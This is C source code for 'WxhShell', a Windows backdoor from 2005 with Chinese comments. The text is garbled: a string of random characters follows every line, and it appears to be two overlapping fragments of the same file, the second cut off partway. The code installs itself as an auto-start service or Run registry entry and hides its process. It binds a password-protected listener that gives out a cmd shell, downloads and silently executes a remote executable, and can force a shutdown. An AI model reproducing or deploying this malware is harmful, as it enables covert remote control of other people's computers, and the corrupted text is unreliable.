    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D Z ~|yH  
    if(Boot(SHUTDOWN)) 5HL JkOV5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  h:#  
    else { .rG Rdb  
    closesocket(wsh); Ua V9T:)x  
    ExitThread(0); Nf0b?jn-  
    } `Xmf4  
    break; m2{z  
    } tJ.LPgfZ  
  // 获取shell / vje='[!  
  case 's': { vo uQ.utl  
    CmdShell(wsh); .(CzsupY_q  
    closesocket(wsh); tmK@Veb*a'  
    ExitThread(0); k'%c|kx8U  
    break; p`Omcl~Q  
  } ?_W "=WpC  
  // 退出 )R9>;CuC9?  
  case 'x': { Tr/wG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q-O:L  
    CloseIt(wsh); qJ"dkT*  
    break; 9qwVBu ;  
    } -1S+fUkiK/  
  // 离开 wXXv0OzK  
  case 'q': { B Ibcm,YQ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uTP=kgYqJ  
    closesocket(wsh); s4MP!n?gB  
    WSACleanup(); +Z$X5Th  
    exit(1); eiP>?8  
    break; kc|`VB8L  
        } n?Gm 5##  
  } x gaN0!  
  } mkj`z  
f>ED  
  // 提示信息 yW|yZ(7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z O$SL8U  
} \~jt7 Q  
  } v]U[7 j  
YZpF*E;6t  
  return; ^;W,:y&  
} CL9p/PJ%e  
evg i\"  
// shell模块句柄 z~o%U&DO}  
int CmdShell(SOCKET sock) AZl|; y  
{ >\} 2("bv  
STARTUPINFO si; lJKhP  
ZeroMemory(&si,sizeof(si)); N1P [&lR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k@4]s_2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uA:;OM}  
PROCESS_INFORMATION ProcessInfo; N<Y-]xS  
char cmdline[]="cmd"; '9<Mk-Aj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ez<J+#)t  
  return 0; ^"6xE nA]  
} 'n!;7*  
R*Pfc91}  
// 自身启动模式 YIgzFt[L  
int StartFromService(void) ] =>vv;L  
{ ;?zb (2  
typedef struct ((EN&X,v  
{ 7ou2SL}k  
  DWORD ExitStatus; |`qur5h`  
  DWORD PebBaseAddress; ?PyI#G   
  DWORD AffinityMask; /o8`I m   
  DWORD BasePriority; [^ 7^&/0  
  ULONG UniqueProcessId; q$b/T+-ec  
  ULONG InheritedFromUniqueProcessId; \e'>$8%T  
}   PROCESS_BASIC_INFORMATION; z6'zNM7M  
"St,4 b  
PROCNTQSIP NtQueryInformationProcess; _QY0j%W  
8"8sI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x*BfRj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1K^/@^  
u"pn'H  
  HANDLE             hProcess;  `9S<E  
  PROCESS_BASIC_INFORMATION pbi; vhWj_\m  
I+`~6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Cd|V<BB9  
  if(NULL == hInst ) return 0; v{?9PRf\s  
z?j~ 2K<4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I|Z5*iXqCm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @f*/V e0.  
5IdmKP|  
  if (!NtQueryInformationProcess) return 0; ']Y:f)i#  
T`a [~:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /MQd[03]  
  if(!hProcess) return 0; 2$[u&__E  
{hg,F?p '  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CmJ*oXyi  
hs<7(+a  
  CloseHandle(hProcess); n2(~r 'r)  
Fo?2nQ<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [uAfE3  
if(hProcess==NULL) return 0; a}jaxGy  
tJHzhH)  
HMODULE hMod; KkAk(9Q/3  
char procName[255]; l<7 b  
unsigned long cbNeeded; X5>p~;[9  
20%xD e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &~$^a1D6  
er l_Gg  
  CloseHandle(hProcess); :Q?xNY%  
& r\z9!   
if(strstr(procName,"services")) return 1; // 以服务启动 Qo;$iLt  
jew?cnRmd  
  return 0; // 注册表启动  &h4(lM  
} :kY][_  
qr<5z. %  
// 主模块 Bj%{PK  
int StartWxhshell(LPSTR lpCmdLine) %\r4c*O1q  
{ $ZQPf  
  SOCKET wsl; #FuOTBNvB  
BOOL val=TRUE; 0_"J>rMp  
  int port=0; U6.$F#n  
  struct sockaddr_in door; ? 76jz>;b  
~73YOGiGJH  
  if(wscfg.ws_autoins) Install(); '^7Sa  
I"T_<  
port=atoi(lpCmdLine); Vs{|:L+  
5Z`f)qE  
if(port<=0) port=wscfg.ws_port; sFCoRH|"c  
/JR*X!&"  
  WSADATA data; pw- C=MY]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]d% hU  
s=U_tfpH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YEVH?`G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zJdlHa{  
  door.sin_family = AF_INET; /x$O6gi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D_@r_^}  
  door.sin_port = htons(port); Y#?Sqm(  
x8zUGvtQ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5<ery~q  
closesocket(wsl); _4.`$n/Z  
return 1; GbStqR~^#  
} =P0~=UP  
bh uA,}  
  if(listen(wsl,2) == INVALID_SOCKET) { J,+| Fb  
closesocket(wsl); G.T}^ xHmL  
return 1; sEhdkN}6  
} A5?[j QT0  
  Wxhshell(wsl); nW{7L  
  WSACleanup(); GW` 9SB  
p1G!-\l  
return 0; Mg^GN -l  
Q !S"=2  
} V/762&2X  
\'E%ue_<9  
// 以NT服务方式启动 /0"Y. @L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /o8h1L=  
{ 7c+TS--  
DWORD   status = 0; %Vive2j C  
  DWORD   specificError = 0xfffffff; %3z-^#B=  
zy+|)^E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4HkOg)a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e:!&y\'"9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t55 '  
  serviceStatus.dwWin32ExitCode     = 0; Et`z7Q*e  
  serviceStatus.dwServiceSpecificExitCode = 0; }@a_x,O/x}  
  serviceStatus.dwCheckPoint       = 0; #.Ft PR  
  serviceStatus.dwWaitHint       = 0; f4`=yj*  
uN6TV*]:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wl::tgU  
  if (hServiceStatusHandle==0) return; tR0o6s@v/<  
S G]e^%i  
status = GetLastError(); kQ{pFFO  
  if (status!=NO_ERROR) ,}`II|.oB  
{ Sn" 1XU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (AXS QI~y  
    serviceStatus.dwCheckPoint       = 0; 3VA Lrb;  
    serviceStatus.dwWaitHint       = 0; m:Z=: -x  
    serviceStatus.dwWin32ExitCode     = status; yWt87+%T  
    serviceStatus.dwServiceSpecificExitCode = specificError; V\)@Yk2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6^UeEmjc  
    return; vPSH  
  } 0'z$"(6D  
!*+~R2&b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yz.[CmdX  
  serviceStatus.dwCheckPoint       = 0; hD # Yz<  
  serviceStatus.dwWaitHint       = 0; r-&4<=C/N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +?nW  
} #N@sJyI N  
VJZ   
// 处理NT服务事件,比如:启动、停止 EvQN(_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (ioi !p  
{ 4J-)+C/edx  
switch(fdwControl) K^s!0[6  
{ ']A+wGR&r  
case SERVICE_CONTROL_STOP: }&`#  
  serviceStatus.dwWin32ExitCode = 0; N`8?bU7a}"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q=UKL`;C}U  
  serviceStatus.dwCheckPoint   = 0; [g_f`ZJ=  
  serviceStatus.dwWaitHint     = 0; p4HX83y{  
  { gWgYZX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '$q'Wl)  
  } 8Ay#6o  
  return; !Edc]rg7  
case SERVICE_CONTROL_PAUSE: (#LV*&K%IC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2$=?;~  
  break; }T4"#'`  
case SERVICE_CONTROL_CONTINUE: ##1[/D(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r`B8Cik  
  break; Vk@u|6U'  
case SERVICE_CONTROL_INTERROGATE: rc 9 \  
  break; 8Z FPs/HP  
}; kJHUaXM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $*L@y m  
} J3y5R1?EP  
d!e$BiC  
// 标准应用程序主函数 Gzc{2"p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) osPX%k!yw  
{ )bw^!w)  
q ( H^H  
// 获取操作系统版本 9'td}S  
OsIsNt=GetOsVer(); ~U ?cL-`n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'zi5ihiT  
&tHT6,Xv(  
  // 从命令行安装 "2N3L8?k  
  if(strpbrk(lpCmdLine,"iI")) Install(); VO#]IXaP  
H@,jNIh~h  
  // 下载执行文件 Gvl-q1PVC  
if(wscfg.ws_downexe) { X2q$i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @M:j~  
  WinExec(wscfg.ws_filenam,SW_HIDE); c i_XcG  
} zZ OoPE  
u+z$+[lm!G  
if(!OsIsNt) { +%$!sp?  
// 如果时win9x,隐藏进程并且设置为注册表启动 9V[|_  
HideProc(); P0k|33;7L  
StartWxhshell(lpCmdLine); uTBls8  
} a?M<r>  
else o^d(mJZ.F~  
  if(StartFromService()) c*HS#C7'2  
  // 以服务方式启动 s)]i0+!  
  StartServiceCtrlDispatcher(DispatchTable); Y-gjX$qGo  
else y3c]zDjV  
  // 普通方式启动 R%8nR6iG"  
  StartWxhshell(lpCmdLine); Pm%ZzU  
r >u0Y  
return 0; |Tf}8e  
} ) ?+-Z2BwA  
OT{qb!eYI  
#@ 3RYx  
b4S7 Q"g  
=========================================== ) m%ghpX  
r-H~MisL  
ce 1KUwo]  
'O \YL(j_e  
;BejFcb  
VKS:d!}3E  
" DU({Ncge  
?R;5ErZ  
#include <stdio.h> &CCB;Oi%  
#include <string.h> CNM/}|N^Si  
#include <windows.h> T{{J' _s5L  
#include <winsock2.h> ,#`gwtFG  
#include <winsvc.h> D>VI{p  
#include <urlmon.h> 2JUX29rER  
qs\ & C  
#pragma comment (lib, "Ws2_32.lib") 3E y#?   
#pragma comment (lib, "urlmon.lib") Bwn9ZYu#r  
K:465r:  
#define MAX_USER   100 // 最大客户端连接数 )p(5$AR7  
#define BUF_SOCK   200 // sock buffer \aU^c24>  
#define KEY_BUFF   255 // 输入 buffer K>,Kbs=D6  
@@'zMV%  
#define REBOOT     0   // 重启 wvp\'* $  
#define SHUTDOWN   1   // 关机 hc`9Y  
C W7E2 ^P$  
#define DEF_PORT   5000 // 监听端口  A5F< <  
lWd)(9K j  
#define REG_LEN     16   // 注册表键长度 =}Bq"m  
#define SVC_LEN     80   // NT服务名长度 7.hVbjy'-  
S%kE<M?  
// 从dll定义API #HJF==  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~; Ss)d  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xi4!7IOm o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f?2Y np=@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !b7]n-1zs  
N 2L/A  
// wxhshell配置信息 D3HE~zkI  
struct WSCFG { "z=A=~~<{  
  int ws_port;         // 监听端口 [o*u!2 r  
  char ws_passstr[REG_LEN]; // 口令 D 7 [n^WtL  
  int ws_autoins;       // 安装标记, 1=yes 0=no HC?yodp^  
  char ws_regname[REG_LEN]; // 注册表键名 h 34|v=8d  
  char ws_svcname[REG_LEN]; // 服务名 /-8v]nRB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |t4k&Dkx`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A\i /@x5#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E`=y9r* Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gt';_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9c=Y+=<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8}{';k  
os/~6  
}; P@PZm  
%+Z 0 $Q  
// default Wxhshell configuration #CW]70H`  
struct WSCFG wscfg={DEF_PORT, eW1$;.^  
    "xuhuanlingzhe", {5#P1jlT  
    1, B5  C]4  
    "Wxhshell", ?0DCjh8We  
    "Wxhshell", #fk)Y1  
            "WxhShell Service", / h0-qW  
    "Wrsky Windows CmdShell Service", rf@/<Wu  
    "Please Input Your Password: ", Q7N4@w;e  
  1, qaA\.h7  
  "http://www.wrsky.com/wxhshell.exe", ig")bt3s5  
  "Wxhshell.exe" ]i8K )/  
    }; >|o-&dk  
mkk74NY  
// 消息定义模块 c1jHg2xim  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {,]BqFXv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; MN$j{+!Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^;6~=@#*C  
char *msg_ws_ext="\n\rExit."; zt[TShD^  
char *msg_ws_end="\n\rQuit."; l^u P?l"  
char *msg_ws_boot="\n\rReboot..."; $Y,,e3R3  
char *msg_ws_poff="\n\rShutdown..."; j<szQ%tJlI  
char *msg_ws_down="\n\rSave to "; _>dqz(8#  
>tr_Ypfv,c  
char *msg_ws_err="\n\rErr!"; x/[i &Gkv  
char *msg_ws_ok="\n\rOK!"; = EyxM  
1 _fFbb"  
char ExeFile[MAX_PATH]; ngsax1xO  
int nUser = 0; it&c ,+8  
HANDLE handles[MAX_USER]; Wey-nsk  
int OsIsNt; o*qEAy ?  
FT[oM<M\Xd  
SERVICE_STATUS       serviceStatus; 0s$g[Fw<.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V*=cNj  
yD#w @yG  
// 函数声明 8MX/GF;F  
int Install(void); `RthX\Tof  
int Uninstall(void); KjZ^\lq'  
int DownloadFile(char *sURL, SOCKET wsh); 9(ZzwkD'>  
int Boot(int flag); ,^26.p$  
void HideProc(void);  ,H1J$=X'  
int GetOsVer(void); i>ORCOOU  
int Wxhshell(SOCKET wsl); UciWrwE  
void TalkWithClient(void *cs); CV]PCq!  
int CmdShell(SOCKET sock); `DG6ollp{  
int StartFromService(void); 8kW9.   
int StartWxhshell(LPSTR lpCmdLine); D8m?`^Zz  
smIZ:L %  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "sAR< 5b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); thipfS  
66p_d'U  
// 数据结构和表定义 D'fP2?3FK  
SERVICE_TABLE_ENTRY DispatchTable[] = g#9w5Q  
{ pqMv YF  
{wscfg.ws_svcname, NTServiceMain}, J:?t.c~$o  
{NULL, NULL} ^nbze  
}; s.=)p"pTd  
Kzo{L  
// 自我安装 v 0rX/ mj  
int Install(void) k{c~  
{ }2`S@Rq.WW  
  char svExeFile[MAX_PATH]; By3dRiM=,2  
  HKEY key; F|xXMpC.f  
  strcpy(svExeFile,ExeFile); z6Su`  
)6bxP&k  
// 如果是win9x系统,修改注册表设为自启动 sn5N9=\+T  
if(!OsIsNt) { Ct}"o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xuh_bW&zF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :Jhx4/10  
  RegCloseKey(key); k`oXo%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B|:{.U@ne  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i$"FUC~'  
  RegCloseKey(key); U|{WtuR  
  return 0; vbDw2  
    }  o<Y|N   
  } +bdkqdB9  
} )@R:$l86  
else { LaN4%[;X1-  
]3d&S5zU  
// 如果是NT以上系统,安装为系统服务 a Q`a>&R0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ( fdDFb#1  
if (schSCManager!=0) ;Ic3th%u  
{ U?$v 1||  
  SC_HANDLE schService = CreateService a P{xMB#1h  
  ( B1nb23SY T  
  schSCManager, wf|CE410  
  wscfg.ws_svcname, !cSD9q*  
  wscfg.ws_svcdisp, Vg:P@6s  
  SERVICE_ALL_ACCESS, ^jf$V #z0/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D cus-,u~  
  SERVICE_AUTO_START, Y] P}7GZ  
  SERVICE_ERROR_NORMAL, /3KEX{'@U  
  svExeFile, yA%[ u.{  
  NULL, ~@'|R%jJ  
  NULL, JSGUl4N  
  NULL, De>pIN;B>  
  NULL, RK rBHqh@  
  NULL cLR8U1k'  
  ); e% 5!  
  if (schService!=0) (a^F`#]  
  { #:s'&.6  
  CloseServiceHandle(schService); &RROra  
  CloseServiceHandle(schSCManager); >W-e0kkH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D"^ogY#LK  
  strcat(svExeFile,wscfg.ws_svcname); @C z1rKU^l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k;LENB2iv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); + s[(CI.b  
  RegCloseKey(key); SCGQo.~,  
  return 0; LR9'BUfFv  
    } (/@o7&>*50  
  } +S/8{2%?DG  
  CloseServiceHandle(schSCManager); ?7G[`@^Y  
} p%3';7W\  
} #(  kT  
(_nkscf  
return 1; U]R7=  
} *Gu=O|Mm  
l@j!j]nE  
// 自我卸载 k?J}-+Bm[|  
int Uninstall(void) @F3d9t-  
{ .S?,%4v%%  
  HKEY key; |?g2k:fzB7  
BwEL\*$g  
if(!OsIsNt) { 8\I(a]kM`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N#[/h96F  
  RegDeleteValue(key,wscfg.ws_regname); JBoo7a1  
  RegCloseKey(key); <n6/np!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;nh7Elk  
  RegDeleteValue(key,wscfg.ws_regname); |#-Oz#Eg'  
  RegCloseKey(key); \[D"W{9l  
  return 0; Q45rP4mQ  
  } 6b]vHT|p  
} pn =S%Qf]  
} K} ;uH,  
else { ait/|a  
QkF-}P%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0f-gQD  
if (schSCManager!=0) E* lqCh  
{ @l;f';+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O]~p)E  
  if (schService!=0) c69C=WQ  
  { ~z< ? Wh  
  if(DeleteService(schService)!=0) { SnXYq 7`t  
  CloseServiceHandle(schService); F[?t"d  
  CloseServiceHandle(schSCManager); DH 9?~|  
  return 0; KRXe\Sx  
  } g8qN+Gg  
  CloseServiceHandle(schService); l7x%G@1#~W  
  } Y: byb68  
  CloseServiceHandle(schSCManager); eA+6-'qN  
} 0&mz'xra  
} Sk1yend4  
V'6%G:?0a  
return 1; G7),!Qol  
} wEkW=  
3b[_0  
// 从指定url下载文件 (JF\%Yj/  
int DownloadFile(char *sURL, SOCKET wsh) 7vHU49DV  
{ =j}00,WH  
  HRESULT hr; Ur@'X-  
char seps[]= "/"; ?EpY4k8,  
char *token; 3ea6g5kX  
char *file; sxuYwQ  
char myURL[MAX_PATH]; J7l1-  
char myFILE[MAX_PATH]; ZM)a4h,kcm  
TI*uNS;-  
strcpy(myURL,sURL); Y)a 7osML  
  token=strtok(myURL,seps); @|cas|U.r  
  while(token!=NULL) r-!8in2  
  { Y)!5Z.K  
    file=token; "C0oFRk  
  token=strtok(NULL,seps); -bs~{  
  } h\20  
 F-ijGGL#  
GetCurrentDirectory(MAX_PATH,myFILE); A!j&g(Z"Q  
strcat(myFILE, "\\"); (^6SF>'  
strcat(myFILE, file); i4uUvZ f  
  send(wsh,myFILE,strlen(myFILE),0); IB?5y~+h  
send(wsh,"...",3,0); 9pk<=F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Z&21gN  
  if(hr==S_OK) Uh9$e  
return 0; \.*aC)  
else W{0<ro`  
return 1; Put +<o <  
C"YM"9JSJ  
} .IG(Y!cB  
mk0rAN  
// 系统电源模块 e <IT2tv>u  
int Boot(int flag) jt;,7Ek  
{ #PFf`7b,z  
  HANDLE hToken; U`:$1*(`  
  TOKEN_PRIVILEGES tkp; \6sp"KqP  
eR;cl$  
  if(OsIsNt) { RE*SdazY?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #^eviF8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Dpof~o,f  
    tkp.PrivilegeCount = 1; >S!QvyM(V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^Ji5)c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,c7 8O8|  
if(flag==REBOOT) { rt."P20T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z!ub`coV[  
  return 0; & }}o9  
} ,H.q%!{h_  
else { q5QYp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e&wW lB![  
  return 0; v_oNM5w  
} #Ok*O r  
  } CRS/qso[Q'  
  else { EY&hWl*a^  
if(flag==REBOOT) { W**a\[~$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &%INfl>o7.  
  return 0;  G#K=n  
} Qs*g)Yr  
else { a[t2T jB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~KCOCtiD  
  return 0; ku?i[Th  
} i"zWv@1z  
} p5Y"W(5_  
p+A#t~K  
return 1; $7lI Dt  
} s_VP(Fe@K  
uZg Kex;c  
// win9x进程隐藏模块 =cg0o_q8  
void HideProc(void) gwT"o  
{ uE+]]ir  
J6|5*|*^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {aAA4.j^  
  if ( hKernel != NULL ) !7Ta Vx}`(  
  { elw<(<u`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z9TG/C,eo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YB~}!F [(  
    FreeLibrary(hKernel); rHh<_5-/>  
  } llI`"a  
`2U zJ~  
return; .3!=]=  
} a B%DIH,  
rT5dv3^MW!  
// 获取操作系统版本 7pmhH%Dn$  
int GetOsVer(void) vB KBMnSd  
{ ZOfyy E  
  OSVERSIONINFO winfo; - x@mS2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); kcI3pmgj  
  GetVersionEx(&winfo); Oe*emUX7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EubF`w$KWX  
  return 1; .J'}qkz~  
  else T/uj5pMG  
  return 0;  Wu9@Ecb  
} yp_:] RE  
(B]rINY|  
// 客户端句柄模块 mq su8ti  
int Wxhshell(SOCKET wsl) OZs^c2 W  
{ t-i;  
  SOCKET wsh; KR%DpQ&{'  
  struct sockaddr_in client; @'s^  
  DWORD myID; fD]}&xc  
WFULQQ*  
  while(nUser<MAX_USER) j8L!miv6  
{ -T`rk~A9A  
  int nSize=sizeof(client); vG69z&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {Jwh .bJ  
  if(wsh==INVALID_SOCKET) return 1; ( {5LB4  
+A3@{ 2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CsJw;]dYI  
if(handles[nUser]==0) x{j|Tf3,G  
  closesocket(wsh); J9zSBsp_  
else % sbDH  
  nUser++; nB WVG  
  } p,Qr9p3y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ab: yH ')  
c54oQ1Q&"  
  return 0; j0~]o})@i  
} O4S~JE3o  
ehV`@ss  
// 关闭 socket $&I##od  
void CloseIt(SOCKET wsh) |Xlpgdiu  
{ Cpz'6F^oP  
closesocket(wsh); D({% FQ"  
nUser--; #Huvn4x  
ExitThread(0); :na9PW`TC  
} C%9;~S  
-uHD| }  
// 客户端请求句柄 s(o{SC'tt  
void TalkWithClient(void *cs) 7H %>\^A^  
{ # 4L[8(+V  
q okgu$2  
  SOCKET wsh=(SOCKET)cs; L Me{5H  
  char pwd[SVC_LEN]; z}&?^YU*)`  
  char cmd[KEY_BUFF]; L#1Y R}m  
char chr[1]; $0~H~ -  
int i,j; s=h  
'%vb&a!.6  
  while (nUser < MAX_USER) { 5IE2&V  
bx_`S#*N  
if(wscfg.ws_passstr) { NiQ`,Q$B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?| s1Cuc  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [I^>ji0V  
  //ZeroMemory(pwd,KEY_BUFF); I6,'o)l{_  
      i=0; l\I#^N  
  while(i<SVC_LEN) { `lX |yy"  
/GD4GWv :  
  // 设置超时 /'ccFm2  
  fd_set FdRead; O KVIl  
  struct timeval TimeOut; 7Ps I'1v  
  FD_ZERO(&FdRead); 4Z12Z@A#7  
  FD_SET(wsh,&FdRead); M_<O'Ii3  
  TimeOut.tv_sec=8; wC+_S*M-K  
  TimeOut.tv_usec=0; tpwMy:<Ex  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g"Mqh!{ FI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WwG78b-OA  
Ri=>evx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q\cH+n)C  
  pwd=chr[0]; s<Px au+A  
  if(chr[0]==0xd || chr[0]==0xa) { }OZp[V  
  pwd=0; 9~2}hXm;  
  break; aVNBF`  
  } DK;p6_tT  
  i++; D~E1hr&Vd>  
    } a|Io)Qhr  
eK PxSN Z  
  // 如果是非法用户,关闭 socket z-$bce9*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EnnT)qos  
} YBqu7&  
uLX5khQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l=,\ h&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2oyTS*2u_&  
>qk[/\^O  
while(1) { #Mkwd5S|L  
[%7y !XD  
  ZeroMemory(cmd,KEY_BUFF); Fa:fBs{  
(99P9\[p  
      // 自动支持客户端 telnet标准   |\;oFuCv##  
  j=0; +[C dd{2  
  while(j<KEY_BUFF) { v]SHude{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A{3Aw|;  
  cmd[j]=chr[0]; Y /$`vgqs  
  if(chr[0]==0xa || chr[0]==0xd) { 6 2GP1qH9  
  cmd[j]=0; ?a?i8rnWo  
  break; l$N b1&  
  } 6bF?2 OC  
  j++; 91d@/z  
    } . J[2\"W  
ywWF+kR_  
  // 下载文件 qKNX^n;  
  if(strstr(cmd,"http://")) { Y7(E<1Yx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ChO?Lm$y  
  if(DownloadFile(cmd,wsh)) uTTM%-DMHT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); })RT2zw}  
  else Whp;wAz  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B7BXS*_b  
  } S81Z\=eK  
  else { Ww-%s9N<  
#2l6'gWE0  
